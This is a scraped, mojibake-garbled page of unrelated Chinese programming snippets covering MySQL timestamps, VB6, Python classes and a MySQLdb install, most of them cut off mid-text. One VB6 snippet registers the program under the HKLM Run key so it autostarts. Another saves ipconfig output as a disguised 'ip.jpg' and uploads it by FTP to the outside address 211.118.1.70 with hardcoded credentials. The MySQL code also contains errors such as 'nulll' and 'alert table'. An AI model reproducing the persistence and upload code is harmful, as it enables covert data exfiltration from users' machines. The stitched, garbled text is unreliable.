mysql version 5.1
ÔÚmysql´´½¨±íµÄʱºò¾³£»áÓöµ½´´½¨ÈÕÆÚ×Ö¶ÎÐèÒªÉèÖõ±Ç°Ê±¼äΪĬÈÏÖµµÄʱºò£¬¾ÍÈçsqlserver2000Ò»Ñù£¬°ÑĬÈÏÖµÉèΪgetdate()¼´¿É£¬ÎÒÔÚÍøÉϲéÁËN¾Ã¶¼Ã»Óв鵽ʹÓÃÓÐЧµÄ·½·¨£¬×îºó×Ô¼ºÑо¿ÁËһЩ·½·¨Óë´ó¼Ò·ÖÏí£º
Êý¾Ý¿â£ºtest_db1
´´½¨±í£ºtest_ta1
Á½¸ö×ֶΣºid £¨×ÔÔö ÇÒΪÖ÷¼ü£©£¬
createtime ´´½¨ÈÕÆÚ£¨Ä¬ÈÏֵΪµ±Ç°Ê±¼ä£©
·½·¨Ò»¡¢ÊÇÓÃalert tableÓï¾ä£º
use test_db1;
create table test_ta1(
id mediumint(8) unsigned not nulll auto_increment,
createtime datetime,
primary key (id)
)engine=innodb default charset=gbk;
alert table test_ta1 change createtime createtime timestamp not null default now();
·½·¨¶þ¡¢Ö±½Ó´´½¨·½±ã£º
use test_db1;
create table test_ta1(
id mediumint(8) unsigned not nulll auto_increment,
createtime timesta ......
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
App ¶ÔÏóÊÇVBÓ¦ÓóÌÐòµÄÈ«¾ÖÐÅÏ¢£¬ÈçÓ¦ÓóÌÐòµÄ±êÌâ¡¢°æ±¾ÐÅÏ¢¡¢¿ÉÖ´ÐÐÎļþºÍ°ïÖúÎļþµÄ·¾¶¼°Ãû³ÆÒÔ¼°ÊÇ·ñÔËÐÐǰһ¸öÓ¦ÓóÌÐòµÄʾÀý¡£
ÊôÐÔ
£££££££ ÆäËûÊôÐÔ£££££££££££££££££
EXEName ÊôÐÔ ·µ»Øµ±Ç°ÕýÔËÐеĿÉÖ´ÐÐÎļþµÄ¸ùÃû£¨²»´øÀ©Õ¹Ãû£©¡£
Path µ±Ç°Â·¾¶ Ö»¶Á
PrevInstance ·µ»ØÒ»¸öÖµ£¬¸ÃֵָʾÊÇ·ñÒѾÓÐǰһ¸öÓ¦ÓóÌÐòʵÀýÔÚÔËÐÐ
TaskVisible ³ÌÐòÊÇ·ñ£¨È±Ê¡£©³öÏÖÔÚ´°¿ÚÈÎÎñÁбíÖÐ
ThreadID ·µ»ØÖ´ÐÐÏß³ÌµÄ Win32 ID¡££¨ÓÃÓÚ Win32 API µ÷Óᣣ©
Title Ó¦ÓóÌÐòµÄ±êÌ⣬¸Ã± ......
#ʹÓÃÀà
class CPerson:
#Àà±äÁ¿ºÃ±ÈC++Öеľ²Ì¬³ÉÔ±±äÁ¿
population = 0
def SayHi(self):
print('Hello World')
def HowMany(self):
if CPerson.population == 1:
print('I am the only person here.')
else:
print(('We have %d persons here.') % CPerson.population)
#ÀàÖÐÓкܷ½·¨µÄÃû×ÖÓÐÌØÊâµÄÒâÒå
#__init__ºÃ±ÈC++ÖеĹ¹Ô캯Êý
def __init__(self, name):
self.name = name
print(('Initializing %s') % self.name)
CPerson.population += 1
#__del__ºÃ±ÈC++ÖеÄÎö¹¹º¯Êý
def __del__(self):
CPerson.population -= 1
if CPerson.population == 0:
print('I am the last one.')
else:
print(('There are still %d people left.') % CPerson.population)
p = CPerson('123456')
p.SayHi()
p.HowMany()
p0 = CPerson('987654321')
p0.SayHi()
p0.HowMany()
p.SayHi()
p.HowMany()
print('----------------------------------------- ......
ÎҵĻ·¾³ÊÇ£ºLinux version 2.4.21-4.EL
(bhcompile@daffy.perf.redhat.com) (gcc version 3.2.3 20030502 (Red Hat
Linux 3.2.3-20)) #1 Fri Oct 3 18:13:58 EDT 2003 + Python2.6.4
±¾ÎĽáºÏÎÒ°²×°Ê±ºòµÄÎÊÌ⣬×Ü½á¶ø³É
Óû§Ä¿Â¼Èç/home/liuguanyu/ , ±£Ö¤Óû§ÓÐrootȨÏÞ
1£¬¿´¿´ÓÐûÓа²×°
½øÈëpythonµÄÃüÁîÐУ¬ÊäÈë import MySQLdb Èç¹ûûÓб¨´í£¬Ö¤Ã÷´ËÄ£¿éÒѾ°²×°£¬¿ÉÒÔÌø¹ýÒÔϲ½Öè¡£
2£¬Çл»µ½Óû§Ä¿Â¼/home/liuguanyu,È¥ÏÂÔØ×îеÄMySQLdb°²×°°ü£ºÎÒÏÂÔØµÄÊÇMySQL-python-1.2.3c1.tar.gz ¡£ÕâÒ»²½ËùÓÐÃüÁÈçÏ£º
wget -O python-1.2.3c1.tar.gz http://cdnetworks-kr-1.dl.sourceforge.net/project/mysql-python/mysql-python-test/1.2.3c1/MySQL-python-1.2.3c1.tar.gz
tar xzvf python-1.2.3c1.tar.gz
cd MySQL-python-1.2.3c1
python setup.py build
3£¬³öÏÖ±¨´í£ºImportError: No module named setuptools
4£¬»Øµ½Óû§Ä¿Â¼/home/liuguanyu£¬°²×°setuptools£¬ÎÒ°²×°µÄÊÇsetuptools-0.6c8 ,ÕâÒ»²½µÄËùÓÐÃüÁÈçÏ£º
  ......